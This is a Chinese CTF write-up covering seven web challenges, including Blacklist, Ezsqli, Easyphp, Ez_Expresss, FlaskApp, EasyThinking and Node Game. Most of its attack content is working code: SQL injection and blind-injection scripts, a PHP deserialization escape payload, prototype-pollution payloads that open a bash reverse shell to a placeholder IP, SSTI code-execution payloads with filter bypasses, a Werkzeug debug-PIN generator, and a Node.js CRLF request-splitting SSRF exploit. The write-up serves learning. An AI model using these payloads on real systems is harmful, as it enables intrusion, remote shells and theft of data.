Blacklist
一到注入題,和2019強網杯的隨便住基本一致,但是多過濾了set
、prepare
、alter
、rename
:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
獲取表名和列名的方式與原題一致,而獲取數據可以參考這篇文章:https://xz.aliyun.com/t/7169#toc-47,使用handler語句進行查詢。
mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句並不具備select語句的所有功能。它是mysql專用的語句,並沒有包含到SQL標準中。
所以可以構造payload如下:
?inject=-1';handler FlagHere open;handler FlagHere read first%23
Ezsqli
看名字就是一道sql注入的題目,經測試總共有四種回顯:
bool(false):查詢語句有語法錯誤,如id=1'
SQL Injection Checked:含有被過濾的關鍵詞時,包括and、or、union、in、order、group、limit等。
Nu1L:查詢語句返回值爲真,如id=1^(1=1)^1#
Error Occured When Fetch Result.:查詢語句返回值爲假,如id=1^(1=2)^1#
這樣很顯然就是要進行盲注了,但是這裏過濾了in
,也就不能查詢information_schema
,但是可以從sys數據庫中找到替代的,如sys.x$schema_flattened_keys
,從中同樣可以獲取表名以及主鍵名。更多的替代可以參考這篇文章:Alternatives to Extract Tables and Columns from MySQL and MariaDB
於是我們可以使用如下腳本盲注出表名:
import requests
s = requests.Session()
url = "xxxxxxxxxxxxxxx"
flag = ""
def exp(i, j):
payload = f"1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{i},1))>{j})^1" # f1ag_1s_h3r3_hhhhh
data = {"id": payload}
r = s.post(url, data=data)
if "Nu1L" in r.text:
return True
else:
return False
for i in range(1, 100):
low = 32
high = 127
while (low <= high):
mid = (low + high) // 2
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low + high + 1) // 2)
print(flag)
得到含有flag的表名:f1ag_1s_h3r3_hhhhh
知道了表名,但是我們卻無法知道列名,因此需要進行無列名的盲注,也就是如下判斷下面這樣式子的真假:
(select 其他列,'猜測的數據') > (select * from users limit 1)
在這裏由於表中只有一行數據,所以正好無需limit語句,而表中的列爲主鍵和flag列兩列,因此我們構造的判斷條件即爲:
(select 1,'{}~') > (select * from f1ag_1s_h3r3_hhhhh)
- 1則爲主鍵的值,只有一行所以爲1
{}
中則填入盲注猜測的flag字段值,而因爲mysql比較字符串大小是按位比較的,所以我們在最後加上一個ascii碼較大的~
,這樣的話f~
就滿足大於flag{xxx}
,e~
就滿足小於flag{xxx}
- 在寫腳本的時候,只要按照ascii碼從小到大的順序進行猜解即可,即
f~>(select * from f1ag_1s_h3r3_hhhhh), fl~>(select * from f1ag_1s_h3r3_hhhhh),...
所以獲得flag的腳本如下:
import requests
s = requests.Session()
url = "xxxxxxxxxxxxxxxx"
flag = ""
for i in range(1, 100):
for j in range(32, 127):
temp = flag + chr(j)
print(temp)
# payload = "1^((select 1,concat('{}~', cast(0 as json))) > (select * from f1ag_1s_h3r3_hhhhh))^1".format(temp)
# payload = "1^((select 1,'{}~') > (select * from f1ag_1s_h3r3_hhhhh))^1".format(temp)
data = {"id": payload}
r = s.post(url, data=data)
time.sleep(0.1)
if "Nu1L" in r.text:
flag = temp
print(flag)
break
實際上這裏因爲大寫字母的ascii碼小於小寫字母,而mysql不區分大小寫,所以我們這裏得到的flag全部爲大寫字母,如果光是交flag的話,轉換成小寫字母即可正確。
而預期解實際上是要利用SELECT CONCAT("A", CAST(0 AS JSON))
來讓器返回二進制字符串,從而進行大小寫的匹配,可以參考這篇文章:無需in的SQL盲注
即將判斷條件修改如下:
((select 1,concat('{}~', cast(0 as json))) > (select * from f1ag_1s_h3r3_hhhhh))
這在我本地的測試環境是可以的,但是在BUU上覆現的時候卻不行,而回顯bool(false)
,原因還未知…
Easyphp
存在 www.zip 源碼泄露,下載下來進行代碼審計。
這一題需要了解PHP反序列化的字符逃逸的原理,簡單來說就是 “PHP在進行反序列化的時候,只要前面的字符串符合反序列化的規則並能成功反序列化,那麼將忽略後面多餘的字符串” ,關於這個知識點可以去搜索0CTF2016-PiaPiaPia一題的相關Writeup。
下面來看這一道題,首先看一下拿flag的條件,在update.php中:
<?php
require_once('lib.php');
if ($_SESSION['login']!=1){
echo "你還沒有登陸呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
只要以 admin 的身份成功登錄,就可以返回flag。
重點的代碼在lib.php中,首先看一下dbCtr
l類:
//lib.php
class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name = $_POST['username'];
$this->password = $_POST['password'];
$this->token = $_SESSION['token'];
}
public function login($sql)
{
$this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("連接失敗,錯誤:" . $this->mysqli->connect_error);
}
$result = $this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
//通過反序列化控制token爲admin即可繞過登錄
if ($this->token == 'admin') {
return $idResult;
}
if (!$idResult) {
echo ('用戶不存在!');
return false;
}
if (md5($this->password) !== $passwordResult) {
echo ('密碼錯誤!');
return false;
}
$_SESSION['token'] = $this->name;
return $idResult;
}
}
我們可以知道登陸成功的條件:① 用戶名存在,且$this->password
的md5值與數據庫查詢的用戶密碼相同。② 或者token的值爲admin。
代碼中的查詢語句爲select id,password from user where username=?
,
但其實執行的sql語句是我們可控的(後面再說明),這樣的話我們只需要將查詢語句寫成下面這個樣子:
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
然後再將$this->password
的值賦爲1(1的md5值爲c4ca4238a0b923820dcc509a6f75849b),即可通過登錄密碼的驗證。
下面的問題就是如何控制執行的sql語句以及$this->password
的值,這就需要用到反序列化了,我們看一下如何構造POP鏈:
- 在
UpdateHelper::__destruct()
中看到字符串輸出語句,所以只需要將$sql
實例化爲User
類的對象,即可在該類對象結束時,調用到User::__toString
方法
- 然後看
User::__toString
方法,用$nickname
變量調用了update()
函數,且$age
變量作爲參數。這樣我們只需要將$nicknames
實例化爲Info
類的對象,從而可以調用Info::__call
方法,且$age
中的值會作爲參數傳入。
- 之後我們繼續跟進到
Info::__call
方法,可以看到其用$CtrCase
變量調用了login()
方法,且參數就是上一步通過User.age
的值傳進來的。這樣我們只需要將這個類裏的$CtrlCase
變量實例化爲dbCtrl
類的對象,這句話就相當於調用了dbCtrl::login($sql)
,而且參數sql語句也是我們所控制的了,也就達到了我們的目的。
- 最後我們只需要對
dbCtrl
類裏的一些變量賦值成我們需要的值即可,而且可知dbCtrl::login($sql)
中的$sql
參數,實際上是User
類中$age
變量傳入的。
所以最終的反序列化payload腳本如下:
<?php
class User
{
public $age = null;
public $nickname = null;
public function __construct()
{
$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname = new Info();
}
}
class Info
{
public $CtrlCase;
public function __construct()
{
$this->CtrlCase = new dbCtrl();
}
}
class UpdateHelper
{
public $sql;
public function __construct()
{
$this->sql = new User();
}
}
class dbCtrl
{
public $name = "admin";
public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
運行得到如下payload:
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
下面我們就需要思考如何將腳本得到的序列化串被程序反序列化呢?
先找一下反序列化的利用點,從 update.php 可以跟進到User
類的update()
函數:
public function update()
{
$Info = unserialize($this->getNewinfo());
$age = $Info->age;
$nickname = $Info->nickname;
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
}
可以看到反序列化的是getNewinfo()
函數的返回值,跟進這個函數:
public function getNewInfo()
{
$age = $_POST['age'];
$nickname = $_POST['nickname'];
return safe(serialize(new Info($age, $nickname)));
}
這個函數的返回值是一個先序列化再經過safe()
函數處理的Info
類對象。
所以最終能夠反序列化的不是我們直接傳入的字符串,而是用我們傳入的值實例化一個Info
類的對象,然後對這個對象進行序列化,載對這個序列化結果進行safe()
處理,最後得到的值再進行反序列化。
safe()
函數如下,如果你瞭解反序列化的字符逃逸原理,那麼很容易看出這個函數的問題:將長度小於6的字符串直接替換成了長度爲6的hacker。
function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
return str_replace($array, 'hacker', $parm);
}
如果我們將剛纔得到的payload直接用age或nickname參數傳入的化,其實際上只會被當成Info
類裏的一個很長的字符串,並不能被反序列化得到執行。
所以要想反序列化我們的payload,就得控制Info
類對象的序列化串,看一下這個序列化串的格式(假設age爲20,nickname爲lethe):
O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:5:"lethe";s:8:"CtrlCase";N;}
我感覺這裏原理上有點類似注入,需要閉合構造符合規則的序列化串。
假設我們要通過nickname參數來注入,先看一下我們構造的payload2如下(未逃逸字符串前):
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
可以看到我們在而已序列化串前加上了";s:8:"CtrlCase";
,在最後加上了一個}
(整個長度爲263),這樣我們將其作爲new Info($age,$nickname)
的nickname傳入時,序列化的結果如下:
上圖中兩個箭頭之間的內容就是我們傳入的payload,可以看到我們在第一個箭頭那裏是想閉合雙引號,從而使後面的內容符合序列化的規則的。但是我圈出來的那個263在序列化的規則裏,限制了nickname的長度爲263,所以後面長度爲263的payload還是當作了一個普通字符串,而不是序列化裏的內容。
這時候就需要用到字符逃逸的原理了,我們在payload2的前面加上263個union
,這樣我上面圈出來的值就變成了,上面第一個箭頭所指的雙引號裏是263個union
(長度爲),當對這個序列化串進行safe()
函數的處理時,所有的union
都被替換成了hacker
,也就是雙引號裏的內容變成了263個hacker
(長度爲),正好等於前面的1579,如下:
上面的圖可以看出來經過safe()函數處理後,這個序列化串就被解釋成了nickname變量長度爲1586的重複hacker
字符串,而我們的而已序列化payload,則以對象的形式作爲CtrCase變量的值。
而之所前面構造的時候在最後面加一個}
,是因爲Info
類的對象只有3個變量(第一個箭頭所指),當到我們第二個箭頭所指的位置時,前面已經有3個變量滿足了序列化串的要求了,所以加一個}
來閉合整個序列化串。這樣由於前面的內容已經符合反序列化的規則,所以後面的內容都將被忽略。
最終payload如下:
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
在update.php以POST傳入上面的payload,此時反序列化被執行,在login函數裏面已經成功驗證了,token被設置爲了admin
,所以再回到登錄界面使用任意密碼即可登錄admin賬戶:
Ez_Expresss
存在www.zip源碼泄露,可以下載得到源碼。
在登錄界面,有如下提示:
這裏只支持大寫非常的奇怪,查閱資料得到:
再查看源碼,確實是使用了toUpperCase()進行處理,所以可以利用這個特性來註冊admın
用戶進行繞過:
可以看到成功了,並且提示flag在/flag目錄下。
下面就考慮如何讀文件或者RCE,再次進行代碼審計。
一開始就是熟悉的merge+clone,那麼考慮是否存在原型鏈污染(不熟悉的話可參考p神的:深入理解 JavaScript Prototype 污染攻擊)
在/action
路由下使用了clone()
方法:
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
這個路由只有ADMIN可以訪問,且clone()
的參數是我們可控的,所以可以確定原型鏈污染了。
然後在info路由看到了一個莫名其妙又有點眼熟的outputFunctionName
,在XNUCA 2019的HardJS考過這個,拼接在ejs渲染引擎中可以RCE,可參考我當時對HardJS的分析文章。
所以可以直接改一下當時的payload就好:
{"__proto__":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/7777 0>&1\"')//"}}
參考https://xz.aliyun.com/t/7184#toc-7推薦一個更好一點的命令執行的payload,因爲有時候用require會報錯:
{"__proto__":{"outputFunctionName":"a=1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/7777 0>&1\"')//"}}
然後提交/action
(即最喜歡的語言)並抓包,然後填入poayload,注意要把Content-Type: 改爲plication/json:
然後訪問/info
路由讓outputFunctionName
拼接到渲染引擎中觸發原型鏈污染,即可得到shell:
FlaskApp
進入頁面後,是一個Flask寫的base64加解密功能,提示路由的源碼中提示了PIN
,應該是想說Flask的Debug模式中的PIN碼。
在Base64解碼的功能中很容易使其報錯(如輸入1):
可以看到確實開啓了Debug模式,並泄露了decode路由的源碼:
解碼的結果直接拼接到模板中渲染,存在SSTI漏洞,不過經過了waf
的處理,我們也並不知道過濾了什麼東西。
那麼先試試一下SSTI吧:
{{2+2}}
的base64爲e3syKzJ9fQ==
,我們進行解碼得到4,確認存在SSTI了:
非預期解:利用SSTI進行RCE
雖然知道出題人的意思是利用PIN碼來RCE,不過我還是想試試看能否直接利用SSTI進行RCE。
那麼先試試過濾了哪些?
經過測試,SSTI中常用的一些關鍵詞並沒有被過濾(畢竟預期解也需要SSTI來讀文件~):
而是過濾了system
、popen
、os
、eval
、import
、flag
等RCE需要用到的關鍵詞,但是這個過濾可以使用拼接字符串來繞過,這樣我們想構造一個payload繞過就並不是很難了:
所以我們要構造的payload一定不是能是xx.popen()
的形式,而是要把被過濾的關鍵詞用字符串的方式調用,這樣才能利用拼接或者編碼來繞過,實際上這樣的payload也很常見,網上能搜到很多。並且本題環境中可以用的類也不少,如下面兩個payload均可以RCE:
{{''.__class__.__base__.__subclasses__()[131].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("o'+'s").po'+'pen("cat /this_is_the_fl'+'ag.txt")').read()}}
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['sys'].modules['o'+'s'].__dict__['po'+'pen']('cat /this_is_the_fl'+'ag.txt').read()}}
將payload進行base64編碼,再在題目中解碼觸發SSTI進行RCE:
預期解:利用PIN碼進行RCE
參考這篇文章:https://www.anquanke.com/post/id/197602
要想生成PIN碼,我們需要獲得下面幾個信息,這裏就不考慮RCE了,所需要的信息均可以通過讀文件來獲得:
(1)服務器運行flask所登錄的用戶名。通過讀取/etc/password可知此值爲:flaskweb
(2)modname的值。一般不變就是flask.app
(3) getattr(app, "__name__", app.__class__.__name__)
的結果。就是Flask
,也不會變
(4)flask庫下app.py的絕對路徑。在報錯信息中可以獲取此值爲: /usr/local/lib/python3.7/site-packages/flask/app.py
(5)當前網絡的mac地址的十進制數。通過文件/sys/class/net/eth0/address
讀取,eth0爲當前使用的網卡:
將0242ae00ecc2
轉換爲10進製爲:2485410393282
(6)機器的id。
- 對於非docker機每一個機器都會有自已唯一的id,linux的id一般存放在
/etc/machine-id
或/proc/sys/kernel/random/boot_i
,有的系統沒有這兩個文件。 - 對於docker機則讀取
/proc/self/cgroup
,其中第一行的/docker/
字符串後面的內容作爲機器的id,如下爲1834da85a17efb2029d4a9c8e8f71fe40a96862055c636788c9835665e8e3359
然後用kingkk師傅的exp:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485410393282',# str(uuid.getnode()), /sys/class/net/ens33/address
'1834da85a17efb2029d4a9c8e8f71fe40a96862055c636788c9835665e8e3359'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到PIN碼:119-747-372
輸入PIN後就可以在python終端任意執行代碼了:
EasyThinking
這一題利用的是ThinkPHP6.0任意文件創建漏洞,分析可以參考這篇文章:ThinkPHP6.0任意文件創建分析
簡單說就是這個漏洞可以通過session來任意創建文件(文件名可控),並且當session裏的數據可控的話,我們就可以控制創建的文件的內容,從而getshell。
掃描發現/www.zip下載源碼,除了註冊和登錄外還有一個搜索功能,通過源碼可以看到我們搜索的值會被寫入session中,因此利用我們就可以利用這個漏洞任意創建內容可控的文件:
首先註冊一個用戶,並在登陸的時候將PHPSESSID的值改爲長度爲32的php文件名,如1111111111111111111111111111.php
:
然後在搜索功能中輸入文件的內容:
Thinkphp6默認把session文件存在/runtime/session目錄下面,並保存爲sess_xxx的形式:
所以訪問/runtime/session/sess_1111111111111111111111111111.php
就是我們寫入的文件:
然後就是bypass disable functions了,直接上傳<php7.4的通殺POC執行/readflag即可:
Node Game
首先放上出題人的writeup。
這題給了源碼:
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug'); //
var morgan = require('morgan');
const multer = require('multer');
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});
//SSRF
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
大概看一下幾個路由:
- /:會包含/template目錄下的一個pug模板文件來用pub進行渲染
- /source:回顯源碼
- /file_upload:限制了只能由127.0.0.1的ip進行文件上傳,並且我們可以通過控制MIME進行目錄穿越,從而將文件上傳到任意目錄
- /core:通過q向內網的8081端口傳參,然後獲取數據再返回外網,並且對url進行黑名單的過濾,但是這裏的黑名單可以直接用字符串拼接繞過。
根據上面幾點,可以大致判斷是利用SSRF僞造本地ip進行文件上傳,上傳包含命令執行代碼的pug文件(可以搜一下pug文件的代碼格式)到/template目錄下,然後用?action=
來包含該文件。
現在問題就是如何用SSRF來進行文件上傳,這裏就是Node js的編碼處理安全問題,可以參考這篇文章:https://xz.aliyun.com/t/2894
如果對編碼經過精心的構造,就可以通過拆分請求實現的SSRF攻擊(也就是一種CRLF注入),通過換行讓服務端將我們的第一次請求下面構造的報文內容,當作一次單獨的HTTP請求,而這個構造的請求就是我們的文件上傳請求了。
由上面文章中的內容可知,通常的換行\r\n(%0D%0A)
,我們可以構造爲\u010D\u010A
。
同理其他的一些特殊字符,如空格(%20)
構造編碼爲\u0120
,+(%2B)
構造編碼構造爲\u012B
…
根據這個編碼方式,就可以構造出拆分的請求從而SSRF了,參考iv4n的exp:
import requests
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt
{}""".replace('\n', '\r\n')
body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--
""".replace('\n', '\r\n')
payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'
requests.get(
'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)
print(requests.get(
'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)
參考:
新春戰疫公益賽-ezsqli-出題小記
http://iv4n.cc/2020-wp-vol1/